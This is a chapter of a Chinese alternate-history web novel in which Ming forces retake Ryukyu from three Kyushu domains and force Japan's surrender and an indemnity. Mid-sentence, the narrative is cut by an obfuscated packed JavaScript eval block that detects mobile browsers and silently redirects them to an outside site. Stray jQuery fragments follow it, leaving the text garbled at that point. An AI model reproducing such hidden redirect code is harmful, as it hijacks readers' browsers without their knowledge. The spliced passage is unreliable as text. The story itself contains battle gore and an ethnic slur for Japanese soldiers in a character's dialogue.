九月初十午时，琉球中山省首里城炮声炸响，铺天盖地的轰鸣。


    南路中军自北面，左协自西面那霸港，右协自南面马天港，三路在同一刻发起总攻！


    孟三立在船艏，浑身的血都在往上涌。从七月廿八她就在那霸港外海，一天天的只能佯攻，船开过去，放几炮又开回来，憋得她快炸了，现在终于可以放开手脚打了！


    “弟兄们！全舰推进——！”


    信号旗应声高升，一百八十艘船齐刷刷扬起风帆，朝那霸港压去。


    岸上的萨摩藩守军也知此次是决战，若守不住港口，首里城就完了，是以这一回，倭兵攻势也异常迅猛。


    从正午一直到申时，那霸港防线纹丝不动。


    孟三牙齿咬得咯咯响：“传令下去，乘潮进发！”


    旗语兵正要升旗，却被一只手拽住了胳膊。


    覃松林冲上来，急声劝道：“潮时不多了，若潮水退去，船只必然搁浅。别冲动！”


    “怕什么，你个怂蛋！”孟三瞪他，“离这么远怎么打！趁涨潮水深，赶紧冲上去逼近，才能发挥火炮威力！”


    覃松林不退，仍是劝：“万一搁浅，船就成了活靶子，倭兵从岸上打你，你动都动不得！”


    孟三不屑地瞥他一眼：“你要是怕，就给我呆在海上。”旋即张口就吼，“听我号令——全速抵进！”


    霎时间，舰队齐头并进，劈浪向前。


    潮水正涨，船行极快，海风灌满帆，船如利刃般切开海浪，白色浪花朝两侧飞溅。


    待进入射程，孟三立即命令火炮轰击。


    刹那，火光迸发，硝烟弥漫，各式弹箭呼啸而出，砸向港口日军的防御工事。


    要说跟着朝廷就是有这好处，火药弹丸敞开了供应，孟三当然不会给朝廷省钱，怎么痛快怎么来。一艘船射空便后退，由另一艘补上继续，如此反复交替，弹丸入蝗虫过境，密集得令日军没有丝毫喘息时间。


    正杀得兴起，谁料那覃松林又来了。


    “潮水在退，快撤回去，再不走就来不及了！”


    “撤？”孟三简直要烦死他了，“撤撤撤，撤个鬼！战机稍纵即逝，撤回去等倭兵稳住阵脚，又要从头再来！”


    “你听我一句劝！”覃松林拦在她面前，“首里城还有近三万倭兵，今日未必能一鼓而下。你便是此刻冲进港口，也须等另两路会师。但若船只搁浅，明日还怎么打？”


    孟三一把推开他：“我就没见过像你这么怂的男人！”


    话音未落，忽然脚下一晃。


    退潮比预想来得更快。


    正值酣畅淋漓之际，眼见日军港口工事已被轰得七零八落，船身猛地一顿，像被什么东西从底下狠狠拽了一把。


    孟三低头看去，潮线正以肉眼可见的速度飞速后退，湿漉漉的沙地一霎露出来。


    “撤！全军后撤！”


    各船旗语兵几乎同时反应过来，一面面撤退旗升起，一百八十艘船开始疾速掉头，桨手拼了命地划，船身擦着退潮的尾波往后挪移。


    最前排的六艘船却是来不及了，船底嵌进沙地，船头高翘，彻底搁浅，再也动弹不得。


    覃松林以为她会懊悔，不承想转头看去，但见孟三两眼放光，兴奋地道：“接舷战好啊！炮打半天跟放屁似的，还是这活儿对味！弟兄们，那帮矮脚萝卜，腿还没咱胳膊长，跳上船来砍着正顺手！”


    六艘搁浅的船上，海盗们纷纷响应，没有一个人慌张，甚至应对有素不逊于士兵。所有鸟铳手瞬间隐入船中各个角落，其余人则抄起盾牌，就地卧倒。


    孟三冲覃松林一扬眉：“我说覃大指挥使，你要是怕，就下到船舱里，等我们打赢了，再接你出来。”


    覃松林看她一眼，抽刀道：“我不是贪生怕死之人。”


    岸上日军很快发现明军船只搁浅，原本打算往首里城溃逃的倭兵，此刻像嗅到血腥味的鲨鱼，端起铁炮大筒，拔出武士刀，朝浅滩摸过来。


    “砰砰砰——！”


    第一轮铁炮，铅弹打在船身，木屑横飞，弹孔密密麻麻。


    明军船上却无丝毫动静。


    那些倭兵互相对视一眼，又射几轮，还是没动静，终于有几个忍不住冲过来，攀住船舷往上爬，刚探出半个脑袋——


    一根长枪猛地刺来！


    枪尖从面门刺入，后脑穿出，血飙去老远，那倭兵惨叫都不及，整个人往后一仰，砸进浅滩。


    紧接着，便是第二个、第三个……但凡爬上船舷的，无一不被长枪.刺穿。后头倭兵这才发现那些明军全卧倒甲板，盾牌连成一片，数不清的长枪从中探出，寒光闪闪。


    有人端起铁炮，正欲射击，无数弹丸却率先从船上各个方向飞来！


    那些倭兵登时像割麦子似的成片倒下。不一时，浅滩上堆满尸体，血水染红大片沙地。


    *


    明军三面猛攻，鏖战至入夜，日军已是强弩之末。


    祸不单行，首里城乱象骤起，九州三藩内乱。


    此三家皆是外样大名，本就与幕府不是一条心，别说幕府，便连他们仨自己都不是一条心。萨摩藩是此番征伐琉球的始作俑者，熊本藩和福冈藩是来“帮忙”的，当初出兵，图的是战胜之后分一杯羹，如今眼见大势已去，保存实力才乃首要。


    这二藩都不想打，投降是他们巴不得的结局。但萨摩藩就不同了，投降可是有条件的，战败方要交出元凶，得诛杀降将，一投降，什么锅都甩过来了。横竖都是死，那还不如战死。


    于是，明军在城外攻，三藩在城内打。萨摩藩最惨，内外交攻，里外不是人。


    翌日寅时，明军南路三协成功会师，大举进攻首里城，九州三藩战败。


    九月十九，东路中军围九州的第十一日，战败消息传至江户幕府。


    明军东、南两路互为犄角，彼此支撑，任何一路的胜败都起决定性作用。对日军而言更是如此，琉球一旦溃败，整体战局便彻底崩塌。


    如今三藩已成釜中游鱼，进不得战，退不得归，歼灭只在明军一念之间。明军既已困敌于绝境，东、南两路自可从容会师，合兵一处，声势倍增。失琉球，日本西南门户洞开，再无战略缓冲。此后大明以琉球为据点，不必仰赖济州长途补给，后勤压力骤减。且萨摩、熊本、福冈皆为九州巨藩，一旦被明军尽数剪除，九州守备将长期空虚，明军若欲夺取，易如反掌。


    对大明而言，南路大捷代表明军进可攻，退可守，谈可要价，主动权已完全握于手中。


    德川光祐该怎么做？或许不是该怎么做，而是只能怎么做，他只能不惜代价，立刻求和。


    这不光是他个人选择，更是江户幕府的唯一选择。因为此刻摆在面前的早已不是琉球问题，而是九州。一旦九州出事，幕府统治便岌岌可危，所以只要明军不登陆九州，几乎什么都可以谈。


    隆安元年九月廿二，明日双方进行第二次笔谈。此次谈判地不在屋久，而是在明军那艘配有四十二重炮的战舰之上。


    日方使臣依旧是长崎奉行松平水野与唐通事回浦恭介。此番再见，松平水野神色大改，谦卑至极。


    裴泠端坐案前，代表明廷提出五个和谈条件：


    其一，放回琉球国王；


    其二，归还万历年间萨摩藩侵占琉球的各岛屿；


    其三，承诺永不侵犯大明属国；


    其四，斩首萨摩藩岛津氏；


    其五，赔款三千万两。


    前三条，松平水野应得很快。第四条，斩首萨摩藩岛津氏，他不敢做主。至于第五条，更是晴天霹雳。


    加上矿山，江户幕府岁入不过三百万两。三千万两，相当于幕府十年不吃不喝的收入。若真交付，幕府财政当场崩溃。更何况，幕府能立刻动用的白银储备，不过五百万两而已，若将赔款摊派至全国各大名，虽可勉强凑够，但面临的后果恐怕是大名造反，一个搞不好，日本便重回战国时代。


    松平水野只能把姿态放得一低再低，试探着写下：“若日本向明朝称臣，可否换取减免部分赔款，譬如，减至一千万两以内？”


    裴泠只写了两个字：“不可。”


    松平水野额头冒汗，小心翼翼再次落笔：“天使可还有其他通融之法？”


    裴泠便写道：“三千万两，一两不可少。但可允许幕府先行支付一千万两，剩余二千万两，以石见银山十五年开采之权作抵。”


    这个松平水野更是做不了主，只能灰溜溜地告退，回去禀报幕府。


    明日谈判自此进入拉锯战，就这两个条件来回拉扯，幕府派出一拨又一拨说客，从长崎奉行到高家，从高家到老中，轮番上阵，裴泠始终不松口。


    德川光祐在江户急得头秃，头发一把一把地掉。石见银山是幕府命脉，交出十五年开采权，无异于交出半条命，可不交，三千万赔款又从哪里来？


    最终让谈判落地的，则是十月廿一这日的一声炮响。


    明军一发炮弹落在九州近海，离岸不过三里，炸起冲天水柱。虽然事后明军给出解释，说只是例行操练中的一次走火，可谁也不知那是不是真的走火，反正德川光祐的心理防线在这一声炮响之后，彻底崩了。


    十月廿五，日本答应所有条件，正式投降。日本使臣跪于明军战舰甲板之上，以头抢地，递交降书。


    十月廿七，琉球国王尚志贤乘船归国。七日后，萨摩藩主岛津义恒于首里枭首示众。


    而北京这边，九月十八，第一封捷报自登州港口六百里加急，飞驰入京。


    【东路督帅裴泠飞报：九月初四日，东路大军于济州血战竟日，阵斩幕府旗本主将江口良平。越四日，复于度佳喇七岛海域合剿穷寇，两战全歼日军主力，共斩获倭首二万一千三百二十四级。】


    满朝哗然！


    然而这只是开始，接下来的一个月，一封又一封捷报，从千里之外海路兼程，接连传回。


    【南路督帅黎宪飞报：九月十一日，南路大军三面围攻首里城，萨摩、熊本、福冈三藩倭兵内乱，自相攻杀，我军乘势登城，倭兵大溃，首里城克复。】


    【东路督帅裴泠飞报：九月廿二日，东路大军统战舰八百艘，列阵九州近海，炮口森森，直指日本本土。倭兵丧胆，遣使求和，恳请息兵。臣与江户使者逐条详议，容后续报。】


    【东路督帅裴泠飞报：十月廿五日，幕府接受所有条款，其一……其五，日本赔款三千万两，内先输现银一千万两，其余二千万两，自愿以石见银山开采之权作抵，为期十五年。和议已成。】


    近一月来，宫人们常常听见乾清宫传出朗声大笑。


    那笑声全无帝王威仪，有时是“好啊好啊”，有时是“好好好啊”，有时干脆只是“哈哈哈哈哈”。


    当最后一封捷报摆上御案，朱慎思盯着“日本投降”四个字看了很久，然后眼泪就下来了。


    喜极而泣！喜极而泣啊！


    驰援琉球，捍卫藩属，这是宗主国脸面，是天朝威严！


    大明水师此


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333966|184422||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    役一举奠定东南海疆霸主地位，从此倭寇不敢西顾，这是国家百年太平，是子孙后代的福荫！


    并且，并且，还一仗打出大明两年财政收入！


    万历帝当年援朝，整整打了七年，贴进去七八百万两，他呢？只打不到半年，还赚了三千万两！


    朱慎思越想越得意，高兴啊！真高兴啊！


    他起身在殿里来回踱步，走到东边笑一下，走到西边笑一下，走回来又笑一下。


    不过话说回来，朱慎思也并非没有烦恼，比如——


    该如何让朝廷上下，对他此前临阵换将那事，集体失忆？


    *


    北京，通政司。


    通政使郭元手捧诏书，陷入沉思。知事在旁侍墨，探头瞧了一眼。


    【朕览捷报，喜不能寐。东路督帅裴泠，巾帼英雄，社稷之器……以妇人而建此奇功，使天下知我大明人才之盛，无间男女……威震倭国，功盖海疆……千古奇女子……此诚国家之福，社稷之祥也。】


    知事看罢，不解道：“夸黎督帅不过两句带过，夸起裴督帅却洋洋洒洒写一大段，是不是有些厚此薄彼了？”


    郭元抬起眼皮看他：“你啊，还得在官场多练练。”


    知事懵然：“大人的意思是？”


    “这洋洋洒洒一大段是写给我们看的，你难道忘了那道调令？”郭元摆摆手，“还不快去把那封敕书找出来。”


    知事没有拐过弯来：“找出来做什么？”


    “笨哪！”郭元啧了一声，“当然是烧掉！”


    知事眼睛瞪得溜圆：“烧……烧掉？大人，这可是存档敕书！”


    郭元慢条斯理地掸了掸袖，说道：“在官场混，头一条得学会装聋作哑，第二条得做个睁眼瞎，第三条，也是顶顶要紧的一条，”他哼哼两声，“便是得学会给主子擦屁股！擦得干净利落，让主子清清爽爽，跟从来没拉过一样，这才是真本事！”


    ＊


    十一月初十，日本投降半月后，南路大军依约释放残寇。孟三带着一帮海盗，大咧咧站在那霸港口，朝败退日军挥手作别，口哨声响成一片。


    熊本、福冈二藩主望见，气得脸色铁青，却又无可奈何，只能咬牙催船速去。


    十一月十二，东路大军督帅裴泠乘船抵达琉球首里城，与南路督帅黎宪一同入王宫，觐见琉球国王尚志贤。


    尚志贤对此次会面极为重视，早早便率群臣于宫门迎候。待二人走来，他整肃衣冠，趋步向前，行隆重四拜大礼。


    裴泠与黎宪连忙一左一右搀起，连道不敢受此重礼。


    尚志贤眼眶泛红，执意不肯起身。


    “二位督帅救我邦国于倾覆之际，此恩此德，琉球举国上下，永世不敢忘。区区四拜礼，何足道哉！”


    裴泠便对尚志贤道：“自明年起，朝廷已允琉球朝贡依旧例恢复。海上商路，亦当渐次疏通。相信不出十年，琉球必国用饶足，百姓安乐。然臣有一言，愿王上听之。”


    尚志贤肃然拱手：“裴督帅请讲。”


    裴泠继续道：“琉球日后，须以重资整饬武备。国家强盛不是天降，是苦出来的。今我辈多吃一份苦，后世子孙便少受一份罪。王上须知，大明不可能每一次都发兵来救，琉球的未来，终究握在琉球人自己手里。邻邦虎视，已在卧榻之侧，王上若不自强，今日虽退一敌，明日必有新敌。唯有琉球自家兵马强壮、城池坚固，方是长久之策。”


    尚志贤闻言深深一拜：“裴督帅之言，志贤刻骨铭心。从今往后，琉球必以整军经武为第一要务，不敢负天朝再造之恩，亦不敢负督帅今日金玉良言。”


    ＊


    旭日东升，那霸港苏醒于一片金光之中。


    孟三将一把掰碎的干粮抛至空中，海鸥扑棱着翅膀，争相俯冲啄食。身侧是狼兵主将胡兰，也学她样子，将干粮高高抛起，引得一群海鸥盘旋。


    裴泠自身后走来。


    胡兰朝她颔首招呼。孟三则从袋里抓起干粮，塞进她手心。


    裴泠接来便扬手一抛。


    无数海鸥在头顶鸣叫，白羽遮住半边天。


    裴泠忽然伸出手，一手揽住孟三的肩，一手揽住胡兰的肩。


    三人紧挨着，站在海风里，站在阳光下，一同畅快大笑。


    却见裴泠仰起头，深吸一口气，然后——


    “啊——！”


    一声喊，畅快淋漓！


    孟三接着喊，嗓门更大更野，像要把这些年憋着的劲全嚎出来。


    胡兰也喊，年过花甲的老将，带着一生的血性与骄傲，喊得比谁都痛快。


    远处海浪拍岸，三声喊在海天之间回荡，声声不绝。


    ＊


    琉球国王感再造之恩，铸铜像三尊，以垂永久。隆安帝铜像矗立王宫正殿，永受朝拜；黎宪铜像矗立那霸港，守一方海晏；裴泠铜像则矗立大岛之巅，面向日本，其侧另立一碑，篆刻日本降书全文。


    十一月末，明军撤兵归国。


    二千余艘战舰扬帆西返，船舱之中不止凯旋之士，凡于琉球、济州阵亡，能寻得尸身者，皆载之同归。


    尸首运抵，除却有信物者，余者皆着相同衣甲，面目难辨。那些寻不见自己孩子的，便将无人认领的遗骸接回，葬于自家坟茔，年年祭扫。


    这些阵亡士兵，于史册之上，或许只是几行伤亡数字，留不下名字，但正因这些看似冰冷的数字，方才换来最炽烈的胜利。


    隆安元年这场大役，至此划上圆满句点。